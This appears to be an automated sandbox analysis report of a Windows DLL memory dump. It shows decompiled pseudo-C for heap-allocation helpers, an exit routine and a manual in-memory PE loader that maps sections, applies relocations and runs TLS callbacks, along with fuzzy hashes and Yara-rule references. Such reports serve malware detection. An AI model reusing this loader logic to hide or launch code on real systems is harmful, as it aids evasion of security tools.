Opcode ID: 175c64ae9ed2aba327e0f387718cf6bc14ce461bc832c7a9619e2a5fd426cc48
Instruction ID: 61ea3cd7660a7b6106650b84183cd1a05379f57e4d38eb16b9d3d857d5730b82
Opcode Fuzzy Hash: 175c64ae9ed2aba327e0f387718cf6bc14ce461bc832c7a9619e2a5fd426cc48
Instruction Fuzzy Hash: 5801D473A017567B776115FB0CA8CBB3B6DDED3AA4310052ABE14C7200EF62CE0191B0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF63B7C, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6EF63B7C(void* __edi, void* __eflags) {
				intOrPtr _v12;
				void* __ecx;
				char _t17;
				void* _t18;
				void* _t27;
				intOrPtr* _t32;
				char _t35;
				void* _t37;

				_push(_t27);
				_push(_t27);
				_t17 = E6EF601B7(_t27, 0x40, 0x38); // executed
				_t35 = _t17;
				_v12 = _t35;
				if(_t35 != 0) {
					_t2 = _t35 + 0xe00; // 0xe00
					_t18 = _t2;
					__eflags = _t35 - _t18;
					if(__eflags != 0) {
						_t3 = _t35 + 0x20; // 0x20
						_t32 = _t3;
						_t37 = _t18;
						do {
							_t4 = _t32 - 0x20; // 0x0
							E6EF6050C(__eflags, _t4, 0xfa0, 0);
							 *(_t32 - 8) =  *(_t32 - 8) | 0xffffffff;
							 *_t32 = 0;
							_t32 = _t32 + 0x38;
							 *((intOrPtr*)(_t32 - 0x34)) = 0;
							 *((intOrPtr*)(_t32 - 0x30)) = 0xa0a0000;
							 *((char*)(_t32 - 0x2c)) = 0xa;
							 *(_t32 - 0x2b) =  *(_t32 - 0x2b) & 0x000000f8;
							 *((intOrPtr*)(_t32 - 0x2a)) = 0;
							 *((char*)(_t32 - 0x26)) = 0;
							__eflags = _t32 - 0x20 - _t37;
						} while (__eflags != 0);
						_t35 = _v12;
					}
				} else {
					_t35 = 0;
				}
				E6EF5FEFF(0);
				return _t35;
			}

0x6ef63b81
0x6ef63b82
0x6ef63b89
0x6ef63b8e
0x6ef63b92
0x6ef63b99
0x6ef63b9f
0x6ef63b9f
0x6ef63ba5
0x6ef63ba7
0x6ef63baa
0x6ef63baa
0x6ef63bad
0x6ef63baf
0x6ef63bb5
0x6ef63bb9
0x6ef63bbe
0x6ef63bc2
0x6ef63bc4
0x6ef63bc7
0x6ef63bcd
0x6ef63bd4
0x6ef63bd8
0x6ef63bdc
0x6ef63bdf
0x6ef63be2
0x6ef63be2
0x6ef63be6
0x6ef63be9
0x6ef63b9b
0x6ef63b9b
0x6ef63b9b
0x6ef63beb
0x6ef63bf8

APIs

Part of subcall function 6EF601B7: RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,6EF611DC,00000001,00000364,00000006,000000FF,?,6EF5C421,00000000,6EF9E844,00000000), ref: 6EF601F8

_free.LIBCMT ref: 6EF63BEB

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 9123f5a39decf7c3972b1b7009fd4eb14ca6b88c0b22b3d763f780252aeed01c
Instruction ID: ed149cf4878d8c55c171eb9e216418808997fabf8a962a3d728eeb2242657bff
Opcode Fuzzy Hash: 9123f5a39decf7c3972b1b7009fd4eb14ca6b88c0b22b3d763f780252aeed01c
Instruction Fuzzy Hash: D10149736083566BC3208F99C8959CAFBACFB453B0F10076AE849A76C0E7706C10CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 6EF601B7, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6EF601B7(void* __ecx, signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x6ef9e7c8, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E6EF62E3C();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E6EF601A4(__eflags))) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E6EF62A43(_t15, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(__eflags == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x6ef601b7
0x6ef601bd
0x6ef601c2
0x6ef601d0
0x6ef601d0
0x6ef601d6
0x6ef601d8
0x6ef601d8
0x6ef601ef
0x6ef601f8
0x6ef60200
0x00000000
0x00000000
0x6ef601e0
0x6ef601e2
0x6ef60204
0x6ef60209
0x6ef6020f
0x00000000
0x6ef6020f
0x6ef601e5
0x6ef601ea
0x6ef601eb
0x6ef601ed
0x00000000
0x00000000
0x6ef601ed
0x00000000
0x6ef601ef
0x6ef601c8
0x6ef601ce
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,6EF611DC,00000001,00000364,00000006,000000FF,?,6EF5C421,00000000,6EF9E844,00000000), ref: 6EF601F8

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f05789996c4ff43b0605334f8f2ffbde8e58c04238b83a22779fb6a36b9928bb
Instruction ID: 8051e091446b85dbdd2cb308aff44b14399047970e528625cbc281f5674c4d00
Opcode Fuzzy Hash: f05789996c4ff43b0605334f8f2ffbde8e58c04238b83a22779fb6a36b9928bb
Instruction Fuzzy Hash: 41F0B43268062567FFB15AE68C30B8B3768AF82770F208126AC35A7180EBB0D50086E1

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5FEB1, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EF5FEB1(void* __ecx, long _a4) {
				void* _t4;
				void* _t6;
				void* _t7;
				long _t8;

				_t7 = __ecx;
				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E6EF601A4(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x6ef9e7c8, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E6EF62E3C();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E6EF62A43(_t7, __eflags, _t8);
					_pop(_t7);
					__eflags = _t6;
					if(__eflags == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x6ef5feb1
0x6ef5feb7
0x6ef5febd
0x6ef5feef
0x6ef5fef4
0x6ef5fefa
0x00000000
0x6ef5fefa
0x6ef5fec1
0x6ef5fec3
0x6ef5fec3
0x6ef5feda
0x6ef5fee3
0x6ef5feeb
0x00000000
0x00000000
0x6ef5fecb
0x6ef5fecd
0x00000000
0x00000000
0x6ef5fed0
0x6ef5fed5
0x6ef5fed6
0x6ef5fed8
0x00000000
0x00000000
0x6ef5fed8
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,6EF9E844,6EF9E824,?,6EF5C421,00000000,6EF9E844,00000000), ref: 6EF5FEE3

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 83667b4e4f767cccb8597d715c3b65a568e3b8b437de4d5620188e58c7fe99f1
Instruction ID: fb51693a56cca703826326ca5b1131d763ca97fac0eedde9af9fc8e2422dd985
Opcode Fuzzy Hash: 83667b4e4f767cccb8597d715c3b65a568e3b8b437de4d5620188e58c7fe99f1
Instruction Fuzzy Hash: A0E0A02315026167FAD066E59C30B977B4C9BB37A0F3000E2ED64963C6DBA0C91081A1

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5C650, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF5C650() {

				E6EF41299();
				ExitProcess(0);
			}

0x6ef5c650
0x6ef5c657

APIs

Part of subcall function 6EF41299: WaitForSingleObject.KERNEL32(000000FF,6EF5C655,6EF41290,?,CreateProcessA), ref: 6EF412A1

ExitProcess.KERNEL32 ref: 6EF5C657

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitObjectProcessSingleWait
String ID:
API String ID: 3568891979-0
Opcode ID: 53a932fd25c33643bd28758c3190ab9b8828032f966fad588418b08ed831b29f
Instruction ID: ef64589c09e74ad50ae357467d81db398016c8fe2e16ca398c03881cea862ebe
Opcode Fuzzy Hash: 53a932fd25c33643bd28758c3190ab9b8828032f966fad588418b08ed831b29f
Instruction Fuzzy Hash: 1B9002652A4650A7DD9016E444197683F185742726F000805A15DD80814A6002585591

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EF5BB30, Relevance: 14.0, APIs: 9, Instructions: 493
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E6EF5BB30(void* __ebx, signed int* __ecx, signed int __edx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v40;
				char _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int _v56;
				void* _v60;
				long _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				long _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _v92;
				signed int _v96;
				intOrPtr _v100;
				signed int _t198;
				void* _t209;
				long _t212;
				intOrPtr _t221;
				void _t235;
				void* _t237;
				signed int _t239;
				long _t240;
				signed int _t242;
				intOrPtr _t245;
				long _t248;
				intOrPtr* _t253;
				signed int* _t255;
				signed int* _t258;
				signed int _t264;
				signed int _t265;
				signed char _t266;
				intOrPtr _t267;
				signed int _t270;
				void* _t279;
				void* _t288;
				void* _t293;
				intOrPtr _t294;
				signed int _t297;
				void _t298;
				intOrPtr _t299;
				intOrPtr* _t301;
				intOrPtr* _t302;
				long _t306;
				signed char _t307;
				signed int _t308;
				intOrPtr _t312;
				void _t314;
				signed int _t318;
				signed int _t319;
				void _t321;
				intOrPtr _t329;
				intOrPtr _t333;
				void* _t336;
				signed int* _t339;
				void* _t341;
				signed int _t343;
				intOrPtr _t345;
				intOrPtr _t346;
				void _t348;
				signed int _t353;
				signed short* _t354;
				void* _t355;
				signed int _t358;
				long _t361;
				void* _t362;
				intOrPtr _t367;
				intOrPtr _t368;
				long _t369;
				long _t371;
				signed int _t375;
				void* _t376;
				long _t379;
				intOrPtr _t380;
				intOrPtr* _t384;
				signed int _t388;
				void* _t390;
				intOrPtr _t392;
				long _t394;
				intOrPtr _t395;
				signed int _t396;
				void* _t397;
				void* _t398;

				_t198 =  *0x6ef8609c; // 0x1c6423b5
				_v8 = _t198 ^ _t396;
				_t339 = __ecx;
				_push(__esi);
				_t371 = 0;
				_v56 = __edx;
				_v48 = __ecx;
				_push(__edi);
				if(__edx < 0x40) {
					L3:
					_push(0xd);
					goto L88;
				} else {
					if( *__ecx != 0x5a4d) {
						L87:
						_push(0xc1);
						goto L88;
					} else {
						_t4 = _t339 + 0x3c; // 0xcccccccc
						_t306 =  *_t4;
						_v72 = _t306;
						_t6 = _t306 + 0xf8; // 0xcccccdc4
						if(__edx >= _t6) {
							_t297 = _t306 + __ecx;
							_v68 = _t297;
							if( *(_t306 + __ecx) != 0x4550 ||  *((intOrPtr*)(_t297 + 4)) != 0x14c) {
								goto L87;
							} else {
								_t307 =  *(_t297 + 0x38);
								if((_t307 & 0x00000001) != 0) {
									goto L87;
								} else {
									_t358 =  *(_t297 + 6) & 0x0000ffff;
									_t341 = ( *(_t297 + 0x14) & 0x0000ffff) + 0x24;
									if(_t358 != 0) {
										_t355 = _t341 + _t297;
										do {
											_t294 =  *((intOrPtr*)(_t355 + 4));
											_t355 = _t355 + 0x28;
											_t335 =  !=  ? _t294 : _t307;
											_t336 = ( !=  ? _t294 : _t307) +  *((intOrPtr*)(_t355 - 0x28));
											_t337 =  <=  ? _t371 : _t336;
											_t371 =  <=  ? _t371 : _t336;
											_t307 =  *(_t297 + 0x38);
											_t358 = _t358 - 1;
										} while (_t358 != 0);
									}
									__imp__GetNativeSystemInfo( &_v44);
									_t308 = _v40;
									_t343 =  !(_t308 - 1);
									_t361 = _t308 - 0x00000001 +  *((intOrPtr*)(_t297 + 0x50)) & _t343;
									if(_t361 != (_t308 - 0x00000001 + _t371 & _t343)) {
										goto L87;
									} else {
										_t209 = VirtualAlloc( *(_t297 + 0x34), _t361, 0x3000, 4);
										_v60 = _t209;
										if(_t209 != 0) {
											L13:
											_v100 = GetProcessHeap;
											_t212 = HeapAlloc(GetProcessHeap(), 8, 0x44);
											_t362 = _t212;
											_v76 = _t362;
											if(_t362 != 0) {
												 *((intOrPtr*)(_t362 + 4)) = _v60;
												 *((intOrPtr*)(_t362 + 0x1c)) = E6EF5BA90;
												 *(_t362 + 0x14) = ( *(_t297 + 0x16) & 0x0000ffff) >> 0x0000000d & 0x00000001;
												 *((intOrPtr*)(_t362 + 0x20)) = E6EF5BAB0;
												 *((intOrPtr*)(_t362 + 0x24)) = E6EF5BAD0;
												 *((intOrPtr*)(_t362 + 0x28)) = E6EF5BAE0;
												 *((intOrPtr*)(_t362 + 0x2c)) = E6EF5BB00;
												 *(_t362 + 0x34) = 0;
												 *(_t362 + 0x40) = _v40;
												if(E6EF5B840(_v56,  *(_t297 + 0x54)) == 0) {
													L33:
													E6EF5E93F( *((intOrPtr*)(_t362 + 0x30)));
													_t220 =  *((intOrPtr*)(_t362 + 8));
													_t398 = _t397 + 4;
													if( *((intOrPtr*)(_t362 + 8)) != 0) {
														_t375 = 0;
														if( *((intOrPtr*)(_t362 + 0xc)) > 0) {
															do {
																_t220 =  *((intOrPtr*)(_t362 + 8));
																_t312 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 8)) + _t375 * 4));
																if(_t312 != 0) {
																	 *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x2c))))(_t312,  *(_t362 + 0x34));
																	_t220 =  *((intOrPtr*)(_t362 + 8));
																	_t398 = _t398 + 8;
																}
																_t375 = _t375 + 1;
															} while (_t375 <  *((intOrPtr*)(_t362 + 0xc)));
														}
														E6EF5E93F(_t220);
														_t398 = _t398 + 4;
													}
													_t221 =  *((intOrPtr*)(_t362 + 4));
													if(_t221 != 0) {
														 *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x20))))(_t221, 0, 0x8000,  *(_t362 + 0x34));
													}
													HeapFree(_v100(), 0, _t362);
													return E6EF5C65E(_v8 ^ _t396);
												} else {
													_t376 = VirtualAlloc(_v60,  *(_t297 + 0x54), 0x1000, 4);
													E6EF5DD40(_t376, _v48,  *(_t297 + 0x54));
													_t397 = _t397 + 0xc;
													_v64 = 0;
													_t235 = _v48[0xf] + _t376;
													 *_t362 = _t235;
													 *((intOrPtr*)(_t235 + 0x34)) = _v60;
													_t314 =  *_t362;
													_t345 =  *((intOrPtr*)(_t362 + 4));
													_v52 = _t345;
													_t237 = ( *(_t314 + 0x14) & 0x0000ffff) + 0x24;
													if(0 >=  *(_t314 + 6)) {
														L29:
														_t239 =  *((intOrPtr*)(_t314 + 0x34)) -  *(_t297 + 0x34);
														_v68 = _t239;
														if(_t239 == 0) {
															L51:
															_t240 = 1;
														} else {
															if( *((intOrPtr*)(_t314 + 0xa4)) != 0) {
																_t353 =  *((intOrPtr*)(_t362 + 4));
																_t301 =  *((intOrPtr*)(_t314 + 0xa0)) + _t353;
																_v56 = _t353;
																_t267 =  *_t301;
																if(_t267 != 0) {
																	do {
																		_t329 =  *((intOrPtr*)(_t301 + 4));
																		_v72 = _t267 + _t353;
																		_t354 = _t301 + 8;
																		_t390 = 0;
																		if((_t329 - 0x00000008 & 0xfffffffe) > 0) {
																			_t369 = _v72;
																			do {
																				_t270 =  *_t354 & 0x0000ffff;
																				if((_t270 & 0x0000f000) == 0x3000) {
																					 *((intOrPtr*)((_t270 & 0x00000fff) + _t369)) =  *((intOrPtr*)((_t270 & 0x00000fff) + _t369)) + _v68;
																				}
																				_t329 =  *((intOrPtr*)(_t301 + 4));
																				_t390 = _t390 + 1;
																				_t354 =  &(_t354[1]);
																			} while (_t390 < _t329 - 8 >> 1);
																		}
																		_t267 =  *((intOrPtr*)(_t301 + _t329));
																		_t301 = _t301 + _t329;
																		_t353 = _v56;
																	} while (_t267 != 0);
																	_t362 = _v76;
																}
																goto L51;
															} else {
																_t240 = 0;
															}
														}
														 *(_t362 + 0x18) = _t240;
														if(E6EF5B920(_t362) == 0) {
															goto L33;
														} else {
															_t298 =  *_t362;
															_t379 = ( *(_t298 + 0x14) & 0x0000ffff) + _t298;
															_t242 =  *(_t379 + 0x20);
															_t318 =  ~( *(_t362 + 0x40)) & _t242;
															_t346 =  *((intOrPtr*)(_t379 + 0x28));
															_v64 = _t242;
															_v96 = _t242;
															_v68 = _t318;
															_v92 = _t318;
															if(_t346 == 0) {
																_t266 =  *(_t379 + 0x3c);
																if((_t266 & 0x00000040) == 0) {
																	if(_t266 < 0) {
																		_t346 =  *((intOrPtr*)(_t298 + 0x24));
																	}
																} else {
																	_t346 =  *((intOrPtr*)(_t298 + 0x20));
																}
															}
															_t319 =  *(_t379 + 0x3c);
															_v88 = _t346;
															_v84 = _t319;
															_v80 = 0;
															_v72 = 1;
															if(1 >=  *(_t298 + 6)) {
																L75:
																_v80 = 1;
																if(E6EF5B860(_t298, _t362,  &_v96, _t362, _t379) == 0) {
																	goto L33;
																} else {
																	_t348 =  *_t362;
																	_t321 = _t348;
																	_t380 =  *((intOrPtr*)(_t348 + 0xc0));
																	if(_t380 != 0) {
																		_t299 =  *((intOrPtr*)(_t362 + 4));
																		_t384 =  *((intOrPtr*)(_t380 + _t299 + 0xc));
																		if(_t384 != 0) {
																			_t253 =  *_t384;
																			if(_t253 != 0) {
																				do {
																					 *_t253(_t299, 1, 0);
																					_t253 =  *((intOrPtr*)(_t384 + 4));
																					_t384 = _t384 + 4;
																				} while (_t253 != 0);
																				_t321 =  *_t362;
																			}
																		}
																	}
																	_t245 =  *((intOrPtr*)(_t321 + 0x28));
																	if(_t245 == 0) {
																		 *(_t362 + 0x38) = 0;
																		return E6EF5C65E(_v8 ^ _t396);
																	} else {
																		_t248 = _t245 + _v60;
																		if( *(_t362 + 0x14) == 0) {
																			 *(_t362 + 0x38) = _t248;
																			return E6EF5C65E(_v8 ^ _t396);
																		} else {
																			 *(_t362 + 0x3c) = _t248;
																			 *(_t362 + 0x10) = 1;
																			return E6EF5C65E(_v8 ^ _t396);
																		}
																	}
																}
															} else {
																_t255 = _t379 + 0x64;
																_v48 = _t255;
																do {
																	_v56 =  *((intOrPtr*)(_t255 - 0x1c));
																	_t367 =  *((intOrPtr*)(_t255 - 0x14));
																	_t388 =  ~( *(_t362 + 0x40)) & _v56;
																	_v52 = _t367;
																	_t362 = _v76;
																	if(_t367 == 0) {
																		if(( *_t255 & 0x00000040) == 0) {
																			if(( *_t255 & 0x00000080) != 0) {
																				_t368 =  *((intOrPtr*)(_t298 + 0x24));
																				goto L65;
																			}
																		} else {
																			_t368 =  *((intOrPtr*)(_t298 + 0x20));
																			L65:
																			_v52 = _t368;
																			_t362 = _v76;
																		}
																	}
																	if(_v68 == _t388) {
																		L71:
																		_t319 = _t319 |  *_t255;
																		asm("bt eax, 0x19");
																		if(_t319 >= 0) {
																			_t319 = _t319 & 0xfdffffff;
																		}
																		_t346 = _v52 - _v64 + _v56;
																		_t258 = _v48;
																		goto L74;
																	} else {
																		if(_v64 + _t346 > _t388) {
																			_t255 = _v48;
																			goto L71;
																		} else {
																			if(E6EF5B860(_t298, _t362,  &_v96, _t362, _t388) == 0) {
																				goto L33;
																			} else {
																				_t264 = _v56;
																				_t346 = _v52;
																				_t298 =  *_t362;
																				_v64 = _t264;
																				_v96 = _t264;
																				_t265 = _t388;
																				_v68 = _t265;
																				_v92 = _t265;
																				_t258 = _v48;
																				_t319 =  *_t258;
																				goto L74;
																			}
																		}
																	}
																	goto L89;
																	L74:
																	_v48 =  &(_t258[0xa]);
																	_t379 = _v72 + 1;
																	_v84 = _t319;
																	_t255 = _v48;
																	_v88 = _t346;
																	_v72 = _t379;
																} while (_t379 < ( *(_t298 + 6) & 0x0000ffff));
																goto L75;
															}
														}
													} else {
														_t302 = _t237 + _t314;
														do {
															_t333 =  *((intOrPtr*)(_t302 + 4));
															if(_t333 != 0) {
																if(_v56 <  *((intOrPtr*)(_t302 + 8)) + _t333) {
																	SetLastError(0xd);
																	goto L33;
																} else {
																	_t279 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x1c))))( *_t302 + _t345, _t333, 0x1000, 4,  *(_t362 + 0x34));
																	_t397 = _t397 + 0x14;
																	if(_t279 == 0) {
																		goto L33;
																	} else {
																		_t392 =  *_t302 + _v52;
																		E6EF5DD40(_t392,  *((intOrPtr*)(_t302 + 8)) + _v48,  *((intOrPtr*)(_t302 + 4)));
																		 *((intOrPtr*)(_t302 - 4)) = _t392;
																		goto L26;
																	}
																}
															} else {
																_t395 =  *((intOrPtr*)( &(_v48[0xe]) + _v72));
																if(_t395 <= 0) {
																	goto L27;
																} else {
																	_t288 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x1c))))( *_t302 + _t345, _t395, 0x1000, 4,  *(_t362 + 0x34));
																	_t397 = _t397 + 0x14;
																	if(_t288 == 0) {
																		goto L33;
																	} else {
																		 *((intOrPtr*)(_t302 - 4)) =  *_t302 + _v52;
																		E6EF5D230(_t362,  *_t302 + _v52, 0, _t395);
																		L26:
																		_t345 = _v52;
																		_t397 = _t397 + 0xc;
																		goto L27;
																	}
																}
															}
															goto L89;
															L27:
															_t314 =  *_t362;
															_t302 = _t302 + 0x28;
															_t394 = _v64 + 1;
															_v64 = _t394;
														} while (_t394 < ( *(_t314 + 6) & 0x0000ffff));
														_t297 = _v68;
														goto L29;
													}
												}
											} else {
												VirtualFree(_v60, _t212, 0x8000);
												goto L15;
											}
										} else {
											_t293 = VirtualAlloc(_t209, _t361, 0x3000, 4);
											_v60 = _t293;
											if(_t293 == 0) {
												L15:
												_push(0xe);
												L88:
												SetLastError();
												return E6EF5C65E(_v8 ^ _t396);
											} else {
												goto L13;
											}
										}
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
				L89:
			}

0x6ef5bb36
0x6ef5bb3d
0x6ef5bb43
0x6ef5bb45
0x6ef5bb46
0x6ef5bb48
0x6ef5bb4b
0x6ef5bb4e
0x6ef5bb52
0x6ef5bb72
0x6ef5bb72
0x00000000
0x6ef5bb54
0x6ef5bb5c
0x6ef5c0b0
0x6ef5c0b0
0x00000000
0x6ef5bb62
0x6ef5bb62
0x6ef5bb62
0x6ef5bb65
0x6ef5bb68
0x6ef5bb70
0x6ef5bb80
0x6ef5bb83
0x6ef5bb86
0x00000000
0x6ef5bb9b
0x6ef5bb9b
0x6ef5bba1
0x00000000
0x6ef5bba7
0x6ef5bbab
0x6ef5bbaf
0x6ef5bbb4
0x6ef5bbb6
0x6ef5bbb8
0x6ef5bbb8
0x6ef5bbbb
0x6ef5bbc0
0x6ef5bbc3
0x6ef5bbc8
0x6ef5bbcb
0x6ef5bbcd
0x6ef5bbd0
0x6ef5bbd0
0x6ef5bbb8
0x6ef5bbd9
0x6ef5bbdf
0x6ef5bbe8
0x6ef5bbf2
0x6ef5bbf8
0x00000000
0x6ef5bbfe
0x6ef5bc0f
0x6ef5bc11
0x6ef5bc16
0x6ef5bc2a
0x6ef5bc33
0x6ef5bc39
0x6ef5bc3f
0x6ef5bc41
0x6ef5bc46
0x6ef5bc64
0x6ef5bc71
0x6ef5bc78
0x6ef5bc7b
0x6ef5bc82
0x6ef5bc89
0x6ef5bc90
0x6ef5bc97
0x6ef5bca1
0x6ef5bcae
0x6ef5bde2
0x6ef5bde5
0x6ef5bdea
0x6ef5bded
0x6ef5bdf2
0x6ef5bdf4
0x6ef5bdf9
0x6ef5be00
0x6ef5be00
0x6ef5be03
0x6ef5be08
0x6ef5be11
0x6ef5be13
0x6ef5be16
0x6ef5be16
0x6ef5be19
0x6ef5be1a
0x6ef5be00
0x6ef5be20
0x6ef5be25
0x6ef5be25
0x6ef5be28
0x6ef5be2d
0x6ef5be3d
0x6ef5be3f
0x6ef5be49
0x6ef5be61
0x6ef5bcb4
0x6ef5bcc6
0x6ef5bccc
0x6ef5bcd4
0x6ef5bcda
0x6ef5bce4
0x6ef5bce8
0x6ef5bcea
0x6ef5bced
0x6ef5bcef
0x6ef5bcf2
0x6ef5bcf9
0x6ef5bd00
0x6ef5bdb7
0x6ef5bdba
0x6ef5bdbd
0x6ef5bdc0
0x6ef5becd
0x6ef5becd
0x6ef5bdc6
0x6ef5bdcd
0x6ef5be62
0x6ef5be6b
0x6ef5be6d
0x6ef5be70
0x6ef5be74
0x6ef5be76
0x6ef5be76
0x6ef5be7b
0x6ef5be7e
0x6ef5be81
0x6ef5be8b
0x6ef5be8d
0x6ef5be90
0x6ef5be90
0x6ef5bea1
0x6ef5beab
0x6ef5beab
0x6ef5beae
0x6ef5beb1
0x6ef5beb2
0x6ef5beba
0x6ef5be90
0x6ef5bebe
0x6ef5bec1
0x6ef5bec3
0x6ef5bec6
0x6ef5beca
0x6ef5beca
0x00000000
0x6ef5bdd3
0x6ef5bdd3
0x6ef5bdd3
0x6ef5bdcd
0x6ef5bed4
0x6ef5bede
0x00000000
0x6ef5bee4
0x6ef5bee4
0x6ef5beef
0x6ef5bef1
0x6ef5bef4
0x6ef5bef6
0x6ef5bef9
0x6ef5befc
0x6ef5beff
0x6ef5bf02
0x6ef5bf07
0x6ef5bf09
0x6ef5bf0e
0x6ef5bf17
0x6ef5bf19
0x6ef5bf19
0x6ef5bf10
0x6ef5bf10
0x6ef5bf10
0x6ef5bf0e
0x6ef5bf1c
0x6ef5bf24
0x6ef5bf27
0x6ef5bf2a
0x6ef5bf31
0x6ef5bf3c
0x6ef5c005
0x6ef5c008
0x6ef5c018
0x00000000
0x6ef5c01e
0x6ef5c01e
0x6ef5c020
0x6ef5c022
0x6ef5c02a
0x6ef5c02c
0x6ef5c02f
0x6ef5c035
0x6ef5c037
0x6ef5c03b
0x6ef5c040
0x6ef5c045
0x6ef5c047
0x6ef5c04a
0x6ef5c04d
0x6ef5c051
0x6ef5c051
0x6ef5c03b
0x6ef5c035
0x6ef5c053
0x6ef5c058
0x6ef5c096
0x6ef5c0af
0x6ef5c05a
0x6ef5c05a
0x6ef5c061
0x6ef5c080
0x6ef5c095
0x6ef5c063
0x6ef5c063
0x6ef5c068
0x6ef5c07f
0x6ef5c07f
0x6ef5c061
0x6ef5c058
0x6ef5bf42
0x6ef5bf42
0x6ef5bf45
0x6ef5bf50
0x6ef5bf53
0x6ef5bf59
0x6ef5bf5e
0x6ef5bf63
0x6ef5bf66
0x6ef5bf69
0x6ef5bf6e
0x6ef5bf78
0x6ef5bf7a
0x00000000
0x6ef5bf7a
0x6ef5bf70
0x6ef5bf70
0x6ef5bf7d
0x6ef5bf7d
0x6ef5bf80
